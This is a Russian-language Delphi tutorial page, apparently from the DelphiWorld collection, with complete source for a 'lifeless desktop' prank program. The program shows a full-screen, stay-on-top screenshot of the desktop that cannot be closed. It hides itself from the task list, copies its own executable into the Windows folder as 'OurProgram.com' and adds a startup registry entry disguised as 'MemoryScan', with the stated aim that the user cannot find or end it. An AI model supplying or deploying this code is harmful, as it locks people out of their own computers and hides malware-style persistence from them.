Безжизненный рабочий стол

Previous  Top  Next

    
 

Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:

 

Code:

procedure TForm1.FormCreate(Sender: TObject);

var

ScreenDC: HDC;

canvas:Tcanvas;

begin

ScreenDC:=GetDC(0);

Canvas:=TCanvas.Create();

canvas.Handle:=ScreenDC;

Width:=Screen.Width;

Height:=Screen.Height;

Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),

canvas,Rect(0,0,Screen.Width,Screen.Height));

Releasedc(0,ScreenDC);

Canvas.Free;

end;

Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное. место

 

Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))

 

Событие по созданию окна в конечном итоге должно выглядеть так:

 

Code:

procedure TForm1.FormCreate(Sender: TObject);

var

ScreenDC: HDC;

canvas: Tcanvas;

h: TRegistry;

begin

ScreenDC:=GetDC(0);

Canvas:=TCanvas.Create();

canvas.Handle:=ScreenDC;

Width:=Screen.Width;

Height:=Screen.Height;

Image1.Canvas.CopyRect(Rect(0,0,Image1.Width,Image1.Height),

canvas,Rect(0,0,Screen.Width,Screen.Height));

Releasedc(0,ScreenDC);

Canvas.Free;

 

if not(csDesigning in ComponentState) then

RegisterServiceProcess(GetCurrentProcessID,1);

 

WinDirP := StrAlloc(MAX_PATH);

Res := GetWindowsDirectory(WinDirP, MAX_PATH);

if Res > 0 then WinDir := StrPas(WinDirP);

 

if FileExists(WinDir+'\OurProgram.com')=false then

CopyFile(PChar(Application.ExeName),PChar(WinDir+'\OurProgram.com'),false);

 

h:=TRegistry.Create;

h.RootKey:=HKEY_LOCAL_MACHINE;

h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);

h.WriteString('MemoryScan',WinDir+'\OurProgram.com');

h.CloseKey;

h.Free;

end;

 

На событие OnCloseQuery() формы напишем:

 

CanClose:=false;

 

На событие OnActivate():

 

ShowWindow(Application.Handle,sw_Hide);

 

В области public объявим несколько переменных:

 

Code:

public

{ Public declarations }

Windir: string;

WindirP: PChar;

Res: Cardinal;

 

А в uses подключим модуль Registry:

 

Code:

uses

Registry;

 

 

 

 

 

©Drkb::01835

http://delphiworld.narod.ru/

DelphiWorld 6.0